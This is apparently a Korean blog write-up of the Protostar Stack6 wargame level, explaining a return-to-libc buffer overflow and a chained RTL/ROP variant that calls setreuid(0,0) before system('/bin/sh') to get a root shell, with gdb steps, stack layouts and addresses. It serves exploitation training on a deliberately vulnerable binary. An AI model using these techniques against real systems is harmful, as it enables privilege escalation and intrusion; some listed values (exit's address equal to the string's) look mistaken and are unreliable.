Protostar Stack6 [Channing RTL]

2017. 6. 12. 13:42SystemHacking/Protostar




Protostar Stack6번 문제입니다

RTL ( Return to Libc ) 기법을 사용하는 문제입니다

RTL을 응용해서 Channing RTL 기법까지 사용해보겠습니다


[ 그림1 ]


소스코드를 보시면 변수 " ret "에 __builtin_return_address(0) 함수를이용해서 getpath()함수의 리턴주소를 저장합니다

" ret "의 값과 " 0xbf000000 " 을 and연산합니다. 즉," ret "에 저장된 주소의 시작부분이 " bf "일 때 함수는 종료됩니다

이러한 방어기법은 쉘 코드를 버퍼에 올린 후 쉘 코드 주소를 RET에 덮어씌우는 공격을 방어하려고 고안되었습니다

해당 방어기법을 무력화시킨 공격기법이 바로 " RTL "입니다 ( http://itsaessak.tistory.com/98 RTL의 자세한 설명 )



[RTL공격을 위해 필요한 것]

[1] 공격대상이 될 파일의 메모리 구조 파악

[2] libc에서 system()함수의 주소

[3] libc에서 exit()함수의 주소( 완벽한 공격을 위해서, 필수는 아닙니다 )

[4] 환경변수의 주소를 구하는 코드



[1] 먼저 메모리 구조부터 파악하도록 하겠습니다

[ 그림2 ]


gets(buffer) 명령이 실행 된 직후에 break를 걸어주었습니다

그리고 최상위 레지스터 $esp의 내용을 출력시켰습니다


[ 그림4 ]


(gdb) x/30xw $esp

$esp레지스터에 " AAA...GGGG " 문자열이 들어있음을 확인 할 수 있습니다


(gdb) x/x $ebp

$ebp레지스터에 있는 값을 확인 할 수 있습니다. 해당값은 SFP( 스택프레임이 가르키고 있는 위치 )

SFP에서 +4byte지점이 return address 가 된다 <= 우리가 공격해야할 지점


# 참고 #

왜 $ebp가 SFP일까? 처음 프로세스가 실행될 때 Procedure prelude과정이 실행됩니다

[ Procedure prelude과정 ]

0x08048408 <main+0>:   push   %ebp                    // 함수의 복귀지점을 스택에 push

0x08048409 <main+1>: mov    %esp,%ebp            // %esp레지스터의 값을 %ebp값에 복사한다

                                                                             => 이부분때문에 x/x $ebp레지스터를 확인하면 SFP입니다

                                                                             => ebp의 주소에 +4byte를 해주면 실제 return address임

0x0804840b <main+3>: and    $0xfffffff0,%esp

0x0804840e <main+6>: sub    $0x50,%esp            // 지역변수의 공간을 할당해주는 과정


위 방식처럼 stack6파일의 getpath함수를 디스어셈블해보면 지역변수의 공간을 104byte할당해주고 있습니다

따라서 stack6파일의 메모리 구조를 그려보면 다음과 같습니다


 ret(4byte)

dummy(16byte)

buffer(64byte)

dummy(12byte)

SFP(4byte)

RET(4byte) 


이제 우리는 64+12+4=80byte만큼 버퍼오버플로우 시켜서 RET의 값을 변질시키면 됨을 알 수 있습니다

RET주소공간에 우리가 넣어야 할 주소는 무엇일까요? " 0xbf.... "형태의 주소가 아닌 system()함수의 주소입니다 !



[2] 함수들의 주소 구하기

[ 그림5 ]


임의로 system()함수와 exit()함수를 사용하는 소스코드를 하나 작성한 다음 gdb로 해당 파일을 디스어셈블하면 됩니다

[ 임의로 작성한 코드 ]

 int main(){

     system("/bin/sh");

     exit(0);

     return 0;

 } 


주의할 점은 프로세스의 시작부분에서 break를 걸어주어야 합니다 !

우리가 찾는 주소는 libc내에서 존재하는 system()함수와 exit()함수의 주소입니다.

<main+16> , <main+28>지점에 나와있는 주소는 해당 함수들을 호출한 주소일 뿐, 실제 함수들의 주소가 아닙니다

따라서 프로세스의 시작지점에 break를 걸어주고, 각 함수들의 주소를 출력해서 알아냅시다

이제 마지막 과정입니다


[3] 환경변수를 선언하고 그 주소를 얻어오기

[ 그림6 ]


[3]-1

$export code="/bin/sh" 환경변수 code를 선언하고 초기화시킵니다. 이 환경변수의 주소를 구하면 됩니다

[ 환경변수의 주소를 구하는 코드 getaddr.c ]

     #include<stdio.h>

     #include<string.h>

     int main( int argc, char **argv ){

      char ptr*;

      ptr = getenv( argv[1] );                              // 환경변수의 주소를 얻어온다

      ptr += ( strlen(argv[0]) - strlen(argv[2]) )*2;     // 환경변수의 주소는 실행파일의 길이에 따라 오차가 발생하는데

                                                                   // 그 오차를 없애주는 역할

      printf( "%s Address : %x\n" , argv[1] , ptr );     // 환경변수의 실제 주소를 출력

      return 0;

     }

 


[3]-2

$gcc -o getaddr getaddr.c 컴파일 후 환경변수의 주소구했습니다

run$ ./getaddr code /opt/porotostar/bin/stack6

argv[0] = ./getaddr    ,    argv[1] = code    ,    argv[2] = /opt/protostar/bin/stack6



[3]-3 

공격코드 작성

 ret(4byte)

dummy(16byte)

buffer(64byte)

dummy(12byte)

SFP(4byte)

RET(4byte) 

4byte

  &code

 

 

 A*64

 A*12

A*4

 &system

  &exit()

/bin/sh


80byte만큼 오버플로우 시킨뒤에 system함수의 주소와 exit()함수의 주소 그리고 인자로 /bin/sh를 입력하면 됩니다

쉘이 떨어지는 것을 확인 할 수 있습니다 유저명은 user인데 권한은 root입니다. 현재 시스템에서 system()함수의 권한이 아직 패치가 안되어있습니다

libc 2.x 버전부터는 system()함수의 권한이 낮아져서 해당 소유자의 권한을 얻어 올 수 없습니다

이 때 Channing RTL기법을 사용합니다 ( system()함수를 실행하기 전에 setreuid()함수를 실행시키면 됩니다 )



[Channing RTL]

ROP를 이용해 함수들을 연결시켜서 공격코드를 작성하는 것입니다

ROP ( Return Oriented Programming )

ROP는 취약한 프로그램 내부에 있는 기계어 코드 가젯을 이용하여 BOF공격시 특정명령을 실행하는 방법

보통 가젯은 함수 끝에 기술되어 있는 ret명령어를 포함한 상위 몇가지 명령어들의 집합이다

" objdump "명령어를 통해서 필요한 가젯을 찾아 낼 수 있습니다 ㅡ 그림7


[ 그림7 ]


우리가 사용할 가젯은 PPR가젯입니다 ( Pop-Pop-Ret )

해당 가젯을 이용해 setreuid()함수의 인자 0x00000000 두개를 Pop하고 system()함수를 리턴시키면 됩니다


buffer변수 이전에 위치해있는 ret변수와 dummy는 생략했고, 메모리구조를 다음과 구성시키면 됩니다

buffer(64) 

dummy(12)

SFP(4)

RET 

&ppr 

인자 

인자 

&system 

&exit 

인자 

 A*64

 A*12

 A*4

 &setreuid

 

 0

 0

 

 

 &code


[ 그림8 ]


&setreuid()    : 0xb7f5b700

&ppr            : 08048452

인자값 2개     : 0x00000000 , 0x00000000

&system()      : 0xb7ecffb0

&exit()          : 0xbfffffbe    

&code          : 0xbfffffbe


setreuid(0,0)함수가 실행된 후 쉘 코드가 실행되어서 root의 권한으로 쉘이 실행되었습니다 ! 


'SystemHacking > Protostar' 카테고리의 다른 글

Protostar Format0 [ FSB ]  (0) 2017.06.13
Protostar Stack7 [ROP]  (0) 2017.06.12
Protostar Stack5 [RTL]  (0) 2017.06.11
Protostar Stack4 [gdb]  (0) 2017.06.11
Protostar Stack3 [objdump]  (0) 2017.06.11